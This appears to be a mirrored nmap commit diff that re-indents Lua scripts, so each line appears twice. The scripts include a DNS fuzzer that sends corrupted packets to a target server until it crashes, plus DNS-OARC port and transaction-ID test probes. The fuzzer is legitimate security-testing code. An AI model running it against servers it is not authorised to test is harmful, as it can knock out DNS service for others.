mirror of
https://github.com/nmap/nmap.git
synced 2025-12-20 22:49:01 +00:00
Re-indent some libs and scripts, change 4 to 2-space indent
Mostly found with:
for i in nselib/*.lua scripts/*.nse; do
echo $(perl -lne 'BEGIN{$a=$p=0}next unless $_;/^(\s*)/;' \
-e '$l=length$1;next if$l==$p;$a+=(abs($l-$p)-$a)/$.;' \
-e '$p=$l;END{print$a}' $i) $i
done | sort -nr
And indented with: https://gist.github.com/bonsaiviking/8845871
whois-ip.nse was particularly mangled (probably my fault due to using
vim's built-in indentation script, but it could be structured better)
This commit is contained in:
File diff suppressed because it is too large
Load Diff
1628
nselib/rpc.lua
1628
nselib/rpc.lua
File diff suppressed because it is too large
Load Diff
@@ -58,40 +58,40 @@ recursiveServer = "scanme.nmap.org"
|
|||||||
-- @param port The servers port
|
-- @param port The servers port
|
||||||
-- @return Bool, true if and only if the server is alive
|
-- @return Bool, true if and only if the server is alive
|
||||||
function pingServer (host, port, attempts)
|
function pingServer (host, port, attempts)
|
||||||
local status, response, result
|
local status, response, result
|
||||||
-- If the server doesn't respond to the first in a multiattempt probe, slow down
|
-- If the server doesn't respond to the first in a multiattempt probe, slow down
|
||||||
local slowDown = 1
|
local slowDown = 1
|
||||||
if not recursiveOnly then
|
if not recursiveOnly then
|
||||||
-- try to get a server status message
|
-- try to get a server status message
|
||||||
-- The method that nmap uses by default
|
-- The method that nmap uses by default
|
||||||
local data
|
local data
|
||||||
local pkt = dns.newPacket()
|
local pkt = dns.newPacket()
|
||||||
pkt.id = math.random(65535)
|
pkt.id = math.random(65535)
|
||||||
|
|
||||||
pkt.flags.OC3 = true
|
pkt.flags.OC3 = true
|
||||||
|
|
||||||
data = dns.encode(pkt)
|
data = dns.encode(pkt)
|
||||||
|
|
||||||
for i = 1, attempts do
|
for i = 1, attempts do
|
||||||
status, result = comm.exchange(host, port, data, {timeout=math.pow(DNStimeout,slowDown)})
|
status, result = comm.exchange(host, port, data, {timeout=math.pow(DNStimeout,slowDown)})
|
||||||
if status then
|
if status then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
slowDown = slowDown + 0.25
|
slowDown = slowDown + 0.25
|
||||||
end
|
end
|
||||||
|
|
||||||
return false
|
return false
|
||||||
else
|
else
|
||||||
-- just do a vanilla recursive lookup of scanme.nmap.org
|
-- just do a vanilla recursive lookup of scanme.nmap.org
|
||||||
for i = 1, attempts do
|
for i = 1, attempts do
|
||||||
status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=math.pow(DNStimeout,slowDown)})
|
status, response = dns.query(recursiveServer, {host=host.ip, port=port.number, proto=port.protocol, tries=1, timeout=math.pow(DNStimeout,slowDown)})
|
||||||
if status then
|
if status then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
slowDown = slowDown + 0.25
|
slowDown = slowDown + 0.25
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -99,13 +99,13 @@ end
|
|||||||
-- the requested domain names
|
-- the requested domain names
|
||||||
-- @return Random string of lowercase characters
|
-- @return Random string of lowercase characters
|
||||||
function makeWord ()
|
function makeWord ()
|
||||||
local len = math.random(3,7)
|
local len = math.random(3,7)
|
||||||
local name = string.char(len)
|
local name = string.char(len)
|
||||||
for i = 1, len do
|
for i = 1, len do
|
||||||
-- this next line assumes ascii
|
-- this next line assumes ascii
|
||||||
name = name .. string.char(math.random(string.byte("a"),string.byte("z")))
|
name = name .. string.char(math.random(string.byte("a"),string.byte("z")))
|
||||||
end
|
end
|
||||||
return name
|
return name
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -115,19 +115,19 @@ end
|
|||||||
-- @param compressed Bool, whether or not this record should have a compressed field
|
-- @param compressed Bool, whether or not this record should have a compressed field
|
||||||
-- @return A dns host string
|
-- @return A dns host string
|
||||||
function makeHost (compressed)
|
function makeHost (compressed)
|
||||||
-- randomly choose between 2 to 4 levels in this domain
|
-- randomly choose between 2 to 4 levels in this domain
|
||||||
local levels = math.random(2,4)
|
local levels = math.random(2,4)
|
||||||
local name = ""
|
local name = ""
|
||||||
for i = 1, levels do
|
for i = 1, levels do
|
||||||
name = name .. makeWord ()
|
name = name .. makeWord ()
|
||||||
end
|
end
|
||||||
if compressed then
|
if compressed then
|
||||||
name = name .. string.char(0xC0) .. string.char(0x0C)
|
name = name .. string.char(0xC0) .. string.char(0x0C)
|
||||||
else
|
else
|
||||||
name = name .. string.char(0x00)
|
name = name .. string.char(0x00)
|
||||||
end
|
end
|
||||||
|
|
||||||
return name
|
return name
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -135,25 +135,25 @@ end
|
|||||||
-- makeHost(). This packet is to be corrupted.
|
-- makeHost(). This packet is to be corrupted.
|
||||||
-- @return Always returns a valid packet
|
-- @return Always returns a valid packet
|
||||||
function makePacket()
|
function makePacket()
|
||||||
local recurs = 0x00
|
local recurs = 0x00
|
||||||
if recursiveOnly then
|
if recursiveOnly then
|
||||||
recurs = 0x01
|
recurs = 0x01
|
||||||
end
|
end
|
||||||
return
|
return
|
||||||
string.char( math.random(0,255), math.random(0,255), -- TXID
|
string.char( math.random(0,255), math.random(0,255), -- TXID
|
||||||
recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons
|
recurs, 0x00, -- Flags, recursion disabled by default for obvious reasons
|
||||||
0x00, 0x02, -- Questions
|
0x00, 0x02, -- Questions
|
||||||
0x00, 0x00, -- Answer RRs
|
0x00, 0x00, -- Answer RRs
|
||||||
0x00, 0x00, -- Authority RRs
|
0x00, 0x00, -- Authority RRs
|
||||||
0x00, 0x00) -- Additional RRs
|
0x00, 0x00) -- Additional RRs
|
||||||
-- normal host
|
-- normal host
|
||||||
.. makeHost (false) .. -- Hostname
|
.. makeHost (false) .. -- Hostname
|
||||||
string.char( 0x00, 0x01, -- Type (A)
|
string.char( 0x00, 0x01, -- Type (A)
|
||||||
0x00, 0x01) -- Class (IN)
|
0x00, 0x01) -- Class (IN)
|
||||||
-- compressed host
|
-- compressed host
|
||||||
.. makeHost (true) .. -- Hostname
|
.. makeHost (true) .. -- Hostname
|
||||||
string.char( 0x00, 0x05, -- Type (CNAME)
|
string.char( 0x00, 0x05, -- Type (CNAME)
|
||||||
0x00, 0x01) -- Class (IN)
|
0x00, 0x01) -- Class (IN)
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -167,18 +167,18 @@ end
|
|||||||
-- @param dnsPacket A packet, generated by makePacket()
|
-- @param dnsPacket A packet, generated by makePacket()
|
||||||
-- @return The same packet, but with bit flip errors
|
-- @return The same packet, but with bit flip errors
|
||||||
function nudgePacket (dnsPacket)
|
function nudgePacket (dnsPacket)
|
||||||
local newPacket = ""
|
local newPacket = ""
|
||||||
-- Iterate over every byte in the packet
|
-- Iterate over every byte in the packet
|
||||||
dnsPacket:gsub(".", function(c)
|
dnsPacket:gsub(".", function(c)
|
||||||
-- Induce bit errors at a rate of 1/50.
|
-- Induce bit errors at a rate of 1/50.
|
||||||
if math.random(50) == 25 then
|
if math.random(50) == 25 then
|
||||||
-- Bitflip algorithm: c ^ 1<<(rand()%7)
|
-- Bitflip algorithm: c ^ 1<<(rand()%7)
|
||||||
newPacket = newPacket .. string.char( bit.bxor(c:byte(), bit.lshift(1, math.random(0,7))) )
|
newPacket = newPacket .. string.char( bit.bxor(c:byte(), bit.lshift(1, math.random(0,7))) )
|
||||||
else
|
else
|
||||||
newPacket = newPacket .. c
|
newPacket = newPacket .. c
|
||||||
end
|
end
|
||||||
end)
|
end)
|
||||||
return newPacket
|
return newPacket
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -186,17 +186,17 @@ end
|
|||||||
-- @param dnsPacket A packet, generated by makePacket()
|
-- @param dnsPacket A packet, generated by makePacket()
|
||||||
-- @return The same packet, but with a single byte missing
|
-- @return The same packet, but with a single byte missing
|
||||||
function dropByte (dnsPacket)
|
function dropByte (dnsPacket)
|
||||||
local newPacket = ""
|
local newPacket = ""
|
||||||
local byteToDrop = math.random(dnsPacket:len())-1
|
local byteToDrop = math.random(dnsPacket:len())-1
|
||||||
local i = 0
|
local i = 0
|
||||||
-- Iterate over every byte in the packet
|
-- Iterate over every byte in the packet
|
||||||
dnsPacket:gsub(".", function(c)
|
dnsPacket:gsub(".", function(c)
|
||||||
i=i+1
|
i=i+1
|
||||||
if not i==byteToDrop then
|
if not i==byteToDrop then
|
||||||
newPacket = newPacket .. c
|
newPacket = newPacket .. c
|
||||||
end
|
end
|
||||||
end)
|
end)
|
||||||
return newPacket
|
return newPacket
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -204,18 +204,18 @@ end
|
|||||||
-- @param dnsPacket A packet, generated by makePacket()
|
-- @param dnsPacket A packet, generated by makePacket()
|
||||||
-- @return The same packet, but with a single byte missing
|
-- @return The same packet, but with a single byte missing
|
||||||
function injectByte (dnsPacket)
|
function injectByte (dnsPacket)
|
||||||
local newPacket = ""
|
local newPacket = ""
|
||||||
local byteToInject = math.random(dnsPacket:len())-1
|
local byteToInject = math.random(dnsPacket:len())-1
|
||||||
local i = 0
|
local i = 0
|
||||||
-- Iterate over every byte in the packet
|
-- Iterate over every byte in the packet
|
||||||
dnsPacket:gsub(".", function(c)
|
dnsPacket:gsub(".", function(c)
|
||||||
i=i+1
|
i=i+1
|
||||||
if i==byteToInject then
|
if i==byteToInject then
|
||||||
newPacket = newPacket .. string.char(math.random(0,255))
|
newPacket = newPacket .. string.char(math.random(0,255))
|
||||||
end
|
end
|
||||||
newPacket = newPacket .. c
|
newPacket = newPacket .. c
|
||||||
end)
|
end)
|
||||||
return newPacket
|
return newPacket
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -223,19 +223,19 @@ end
|
|||||||
-- @param dnsPacket A packet, generated by makePacket()
|
-- @param dnsPacket A packet, generated by makePacket()
|
||||||
-- @return The same packet, but with a single byte missing
|
-- @return The same packet, but with a single byte missing
|
||||||
function truncatePacket (dnsPacket)
|
function truncatePacket (dnsPacket)
|
||||||
local newPacket = ""
|
local newPacket = ""
|
||||||
-- at least 12 bytes to make sure the packet isn't dropped as a tinygram
|
-- at least 12 bytes to make sure the packet isn't dropped as a tinygram
|
||||||
local eatPacketPos = math.random(12,dnsPacket:len())-1
|
local eatPacketPos = math.random(12,dnsPacket:len())-1
|
||||||
local i = 0
|
local i = 0
|
||||||
-- Iterate over every byte in the packet
|
-- Iterate over every byte in the packet
|
||||||
dnsPacket:gsub(".", function(c)
|
dnsPacket:gsub(".", function(c)
|
||||||
i=i+1
|
i=i+1
|
||||||
if i==eatPacketPos then
|
if i==eatPacketPos then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
newPacket = newPacket .. c
|
newPacket = newPacket .. c
|
||||||
end)
|
end)
|
||||||
return newPacket
|
return newPacket
|
||||||
end
|
end
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -247,89 +247,89 @@ end
|
|||||||
-- @param query An uncorrupted DNS packet
|
-- @param query An uncorrupted DNS packet
|
||||||
-- @return A string if the server died, else nil
|
-- @return A string if the server died, else nil
|
||||||
function corruptAndSend (host, port, query)
|
function corruptAndSend (host, port, query)
|
||||||
local randCorr = math.random(0,4)
|
local randCorr = math.random(0,4)
|
||||||
local status
|
local status
|
||||||
local result
|
local result
|
||||||
-- 10 is arbitrary, but seemed like a good number
|
-- 10 is arbitrary, but seemed like a good number
|
||||||
for j = 1, 10 do
|
for j = 1, 10 do
|
||||||
if randCorr<=1 then
|
if randCorr<=1 then
|
||||||
-- slight bias to nudging because it seems to work better
|
-- slight bias to nudging because it seems to work better
|
||||||
query = nudgePacket(query)
|
query = nudgePacket(query)
|
||||||
elseif randCorr==2 then
|
elseif randCorr==2 then
|
||||||
query = dropByte(query)
|
query = dropByte(query)
|
||||||
elseif randCorr==3 then
|
elseif randCorr==3 then
|
||||||
query = injectByte(query)
|
query = injectByte(query)
|
||||||
elseif randCorr==4 then
|
elseif randCorr==4 then
|
||||||
query = truncatePacket(query)
|
query = truncatePacket(query)
|
||||||
end
|
end
|
||||||
|
|
||||||
status, result = comm.exchange(host, port, query, {timeout=DNStimeout})
|
status, result = comm.exchange(host, port, query, {timeout=DNStimeout})
|
||||||
if not status then
|
if not status then
|
||||||
if not pingServer(host,port,3) then
|
if not pingServer(host,port,3) then
|
||||||
-- no response after three tries, the server is probably dead
|
-- no response after three tries, the server is probably dead
|
||||||
return "Server stopped responding... He's dead, Jim.\n"..
|
return "Server stopped responding... He's dead, Jim.\n"..
|
||||||
"Offending packet: 0x".. stdnse.tohex(query)
|
"Offending packet: 0x".. stdnse.tohex(query)
|
||||||
else
|
else
|
||||||
-- We corrupted the packet too much, the server will just drop it
|
-- We corrupted the packet too much, the server will just drop it
|
||||||
-- No point in using it again
|
-- No point in using it again
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if randCorr==4 then
|
if randCorr==4 then
|
||||||
-- no point in using this function more then once
|
-- no point in using this function more then once
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local endT
|
local endT
|
||||||
local timelimit, err
|
local timelimit, err
|
||||||
local retStr
|
local retStr
|
||||||
local query
|
local query
|
||||||
|
|
||||||
for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do
|
for _, k in ipairs({"dns-fuzz.timelimit", "timelimit"}) do
|
||||||
if nmap.registry.args[k] then
|
if nmap.registry.args[k] then
|
||||||
timelimit, err = stdnse.parse_timespec(nmap.registry.args[k])
|
timelimit, err = stdnse.parse_timespec(nmap.registry.args[k])
|
||||||
if not timelimit then
|
if not timelimit then
|
||||||
error(err)
|
error(err)
|
||||||
end
|
end
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if timelimit and timelimit > 0 then
|
if timelimit and timelimit > 0 then
|
||||||
-- seconds to milliseconds plus the current time
|
-- seconds to milliseconds plus the current time
|
||||||
endT = timelimit*1000 + nmap.clock_ms()
|
endT = timelimit*1000 + nmap.clock_ms()
|
||||||
elseif not timelimit then
|
elseif not timelimit then
|
||||||
-- 10 minutes
|
-- 10 minutes
|
||||||
endT = 10*60*1000 + nmap.clock_ms()
|
endT = 10*60*1000 + nmap.clock_ms()
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
-- Check if the server is a DNS server.
|
-- Check if the server is a DNS server.
|
||||||
if not pingServer(host,port,1) then
|
if not pingServer(host,port,1) then
|
||||||
-- David reported that his DNS server doesn't respond to
|
-- David reported that his DNS server doesn't respond to
|
||||||
recursiveOnly = true
|
recursiveOnly = true
|
||||||
if not pingServer(host,port,1) then
|
if not pingServer(host,port,1) then
|
||||||
return "Server didn't response to our probe, can't fuzz"
|
return "Server didn't response to our probe, can't fuzz"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
nmap.set_port_state (host, port, "open")
|
nmap.set_port_state (host, port, "open")
|
||||||
|
|
||||||
-- If the user specified that we should run for n seconds, then don't run for too much longer
|
-- If the user specified that we should run for n seconds, then don't run for too much longer
|
||||||
-- If 0 seconds, then run forever
|
-- If 0 seconds, then run forever
|
||||||
while not endT or nmap.clock_ms()<endT do
|
while not endT or nmap.clock_ms()<endT do
|
||||||
-- Forge an initial packet
|
-- Forge an initial packet
|
||||||
-- We start off with an only slightly corrupted packet, then add more and more corruption
|
-- We start off with an only slightly corrupted packet, then add more and more corruption
|
||||||
-- if we corrupt the packet too much then the server will just drop it, so we only recorrupt several times
|
-- if we corrupt the packet too much then the server will just drop it, so we only recorrupt several times
|
||||||
-- then start all over
|
-- then start all over
|
||||||
query = makePacket ()
|
query = makePacket ()
|
||||||
-- induce random jitter
|
-- induce random jitter
|
||||||
retStr = corruptAndSend (host, port, query)
|
retStr = corruptAndSend (host, port, query)
|
||||||
if not retStr==nil then
|
if not retStr==nil then
|
||||||
return retStr
|
return retStr
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return "The server seems impervious to our assault."
|
return "The server seems impervious to our assault."
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -43,147 +43,147 @@ portrule = shortport.portnumber(53, "udp")
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- TXID: 0xbeef
|
-- TXID: 0xbeef
|
||||||
-- Flags: 0x0100
|
-- Flags: 0x0100
|
||||||
-- Questions: 1
|
-- Questions: 1
|
||||||
-- Answer RRs: 0
|
-- Answer RRs: 0
|
||||||
-- Authority RRs: 0
|
-- Authority RRs: 0
|
||||||
-- Additional RRs: 0
|
-- Additional RRs: 0
|
||||||
|
|
||||||
-- Query:
|
-- Query:
|
||||||
-- Name: porttest, dns-oarc, net
|
-- Name: porttest, dns-oarc, net
|
||||||
-- Type: TXT (0x0010)
|
-- Type: TXT (0x0010)
|
||||||
-- Class: IN (0x0001)
|
-- Class: IN (0x0001)
|
||||||
|
|
||||||
local query = string.char( 0xbe, 0xef, -- TXID
|
local query = string.char( 0xbe, 0xef, -- TXID
|
||||||
0x01, 0x00, -- Flags
|
0x01, 0x00, -- Flags
|
||||||
0x00, 0x01, -- Questions
|
0x00, 0x01, -- Questions
|
||||||
0x00, 0x00, -- Answer RRs
|
0x00, 0x00, -- Answer RRs
|
||||||
0x00, 0x00, -- Authority RRs
|
0x00, 0x00, -- Authority RRs
|
||||||
0x00, 0x00, -- Additional RRs
|
0x00, 0x00, -- Additional RRs
|
||||||
0x08) .. "porttest" ..
|
0x08) .. "porttest" ..
|
||||||
string.char( 0x08) .. "dns-oarc" ..
|
string.char( 0x08) .. "dns-oarc" ..
|
||||||
string.char( 0x03) .. "net" ..
|
string.char( 0x03) .. "net" ..
|
||||||
string.char( 0x00, -- Name terminator
|
string.char( 0x00, -- Name terminator
|
||||||
0x00, 0x10, -- Type (TXT)
|
0x00, 0x10, -- Type (TXT)
|
||||||
0x00, 0x01) -- Class (IN)
|
0x00, 0x01) -- Class (IN)
|
||||||
|
|
||||||
local status, result = comm.exchange(host, port, query, {proto="udp",
|
local status, result = comm.exchange(host, port, query, {proto="udp",
|
||||||
timeout=20000})
|
timeout=20000})
|
||||||
|
|
||||||
-- Fail gracefully
|
-- Fail gracefully
|
||||||
if not status then
|
if not status then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: TIMEOUT"
|
return "ERROR: TIMEOUT"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Update the port
|
-- Update the port
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
|
|
||||||
-- Now we need to "parse" the results to check to see if they are good
|
-- Now we need to "parse" the results to check to see if they are good
|
||||||
|
|
||||||
-- We need a minimum of 5 bytes...
|
-- We need a minimum of 5 bytes...
|
||||||
if (#result < 5) then
|
if (#result < 5) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Malformed response"
|
return "ERROR: Malformed response"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check TXID
|
-- Check TXID
|
||||||
if (string.byte(result, 1) ~= 0xbe
|
if (string.byte(result, 1) ~= 0xbe
|
||||||
or string.byte(result, 2) ~= 0xef) then
|
or string.byte(result, 2) ~= 0xef) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Invalid Transaction ID"
|
return "ERROR: Invalid Transaction ID"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check response flag and recursion
|
-- Check response flag and recursion
|
||||||
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
|
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
|
||||||
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
|
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
|
||||||
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Server refused recursion"
|
return "ERROR: Server refused recursion"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check error flag
|
-- Check error flag
|
||||||
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
|
if (bit.band(string.byte(result, 4), 0x0F) ~= 0x00) then
|
||||||
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Server failure"
|
return "ERROR: Server failure"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for two Answer RRs and 1 Authority RR
|
-- Check for two Answer RRs and 1 Authority RR
|
||||||
if (string.byte(result, 5) ~= 0x00
|
if (string.byte(result, 5) ~= 0x00
|
||||||
or string.byte(result, 6) ~= 0x01
|
or string.byte(result, 6) ~= 0x01
|
||||||
or string.byte(result, 7) ~= 0x00
|
or string.byte(result, 7) ~= 0x00
|
||||||
or string.byte(result, 8) ~= 0x02) then
|
or string.byte(result, 8) ~= 0x02) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Response did not include expected answers"
|
return "ERROR: Response did not include expected answers"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- We need a minimum of 128 bytes...
|
-- We need a minimum of 128 bytes...
|
||||||
if (#result < 128) then
|
if (#result < 128) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Truncated response"
|
return "ERROR: Truncated response"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Here is the really fragile part. If the DNS response changes
|
-- Here is the really fragile part. If the DNS response changes
|
||||||
-- in any way, this won't work and will fail.
|
-- in any way, this won't work and will fail.
|
||||||
-- Jump to second answer and check to see that it is TXT, IN
|
-- Jump to second answer and check to see that it is TXT, IN
|
||||||
-- then grab the length and display that text...
|
-- then grab the length and display that text...
|
||||||
|
|
||||||
-- Check for TXT
|
-- Check for TXT
|
||||||
if (string.byte(result, 118) ~= 0x00
|
if (string.byte(result, 118) ~= 0x00
|
||||||
or string.byte(result, 119) ~= 0x10)
|
or string.byte(result, 119) ~= 0x10)
|
||||||
then
|
then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Answer record not of type TXT"
|
return "ERROR: Answer record not of type TXT"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for IN
|
-- Check for IN
|
||||||
if (string.byte(result, 120) ~= 0x00
|
if (string.byte(result, 120) ~= 0x00
|
||||||
or string.byte(result, 121) ~= 0x01) then
|
or string.byte(result, 121) ~= 0x01) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Answer record not of type IN"
|
return "ERROR: Answer record not of type IN"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Get TXT length
|
-- Get TXT length
|
||||||
local txtlen = string.byte(result, 128)
|
local txtlen = string.byte(result, 128)
|
||||||
|
|
||||||
-- We now need a minimum of 128 + txtlen bytes + 1...
|
-- We now need a minimum of 128 + txtlen bytes + 1...
|
||||||
if (#result < 128 + txtlen) then
|
if (#result < 128 + txtlen) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Truncated response"
|
return "ERROR: Truncated response"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- GET TXT record
|
-- GET TXT record
|
||||||
local txtrd = string.sub(result, 129, 128 + txtlen)
|
local txtrd = string.sub(result, 129, 128 + txtlen)
|
||||||
|
|
||||||
return txtrd
|
return txtrd
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -43,147 +43,147 @@ portrule = shortport.portnumber(53, "udp")
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- TXID: 0xbabe
|
-- TXID: 0xbabe
|
||||||
-- Flags: 0x0100
|
-- Flags: 0x0100
|
||||||
-- Questions: 1
|
-- Questions: 1
|
||||||
-- Answer RRs: 0
|
-- Answer RRs: 0
|
||||||
-- Authority RRs: 0
|
-- Authority RRs: 0
|
||||||
-- Additional RRs: 0
|
-- Additional RRs: 0
|
||||||
|
|
||||||
-- Query:
|
-- Query:
|
||||||
-- Name: txidtest, dns-oarc, net
|
-- Name: txidtest, dns-oarc, net
|
||||||
-- Type: TXT (0x0010)
|
-- Type: TXT (0x0010)
|
||||||
-- Class: IN (0x0001)
|
-- Class: IN (0x0001)
|
||||||
|
|
||||||
local query = string.char( 0xba, 0xbe, -- TXID
|
local query = string.char( 0xba, 0xbe, -- TXID
|
||||||
0x01, 0x00, -- Flags
|
0x01, 0x00, -- Flags
|
||||||
0x00, 0x01, -- Questions
|
0x00, 0x01, -- Questions
|
||||||
0x00, 0x00, -- Answer RRs
|
0x00, 0x00, -- Answer RRs
|
||||||
0x00, 0x00, -- Authority RRs
|
0x00, 0x00, -- Authority RRs
|
||||||
0x00, 0x00, -- Additional RRs
|
0x00, 0x00, -- Additional RRs
|
||||||
0x08) .. "txidtest" ..
|
0x08) .. "txidtest" ..
|
||||||
string.char( 0x08) .. "dns-oarc" ..
|
string.char( 0x08) .. "dns-oarc" ..
|
||||||
string.char( 0x03) .. "net" ..
|
string.char( 0x03) .. "net" ..
|
||||||
string.char( 0x00, -- Name terminator
|
string.char( 0x00, -- Name terminator
|
||||||
0x00, 0x10, -- Type (TXT)
|
0x00, 0x10, -- Type (TXT)
|
||||||
0x00, 0x01) -- Class (IN)
|
0x00, 0x01) -- Class (IN)
|
||||||
|
|
||||||
local status, result = comm.exchange(host, port, query, {proto="udp",
|
local status, result = comm.exchange(host, port, query, {proto="udp",
|
||||||
timeout=20000})
|
timeout=20000})
|
||||||
|
|
||||||
-- Fail gracefully
|
-- Fail gracefully
|
||||||
if not status then
|
if not status then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: TIMEOUT"
|
return "ERROR: TIMEOUT"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Update the port
|
-- Update the port
|
||||||
nmap.set_port_state(host, port, "open")
|
nmap.set_port_state(host, port, "open")
|
||||||
|
|
||||||
-- Now we need to "parse" the results to check to see if they are good
|
-- Now we need to "parse" the results to check to see if they are good
|
||||||
|
|
||||||
-- We need a minimum of 5 bytes...
|
-- We need a minimum of 5 bytes...
|
||||||
if (#result < 5) then
|
if (#result < 5) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Malformed response"
|
return "ERROR: Malformed response"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check TXID
|
-- Check TXID
|
||||||
if (string.byte(result, 1) ~= 0xba
|
if (string.byte(result, 1) ~= 0xba
|
||||||
or string.byte(result, 2) ~= 0xbe) then
|
or string.byte(result, 2) ~= 0xbe) then
|
||||||
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 2 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Invalid Transaction ID"
|
return "ERROR: Invalid Transaction ID"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check response flag and recursion
|
-- Check response flag and recursion
|
||||||
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
|
if not (bit.band(string.byte(result, 3), 0x80) == 0x80
|
||||||
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
|
and bit.band(string.byte(result, 4), 0x80) == 0x80) then
|
||||||
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
if (nmap.verbosity() >= 1 or nmap.debugging() >= 1) then
|
||||||
return "ERROR: Server refused recursion"
|
return "ERROR: Server refused recursion"
|
||||||
else
|
else
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check error flag
|
-- Check error flag
|
||||||
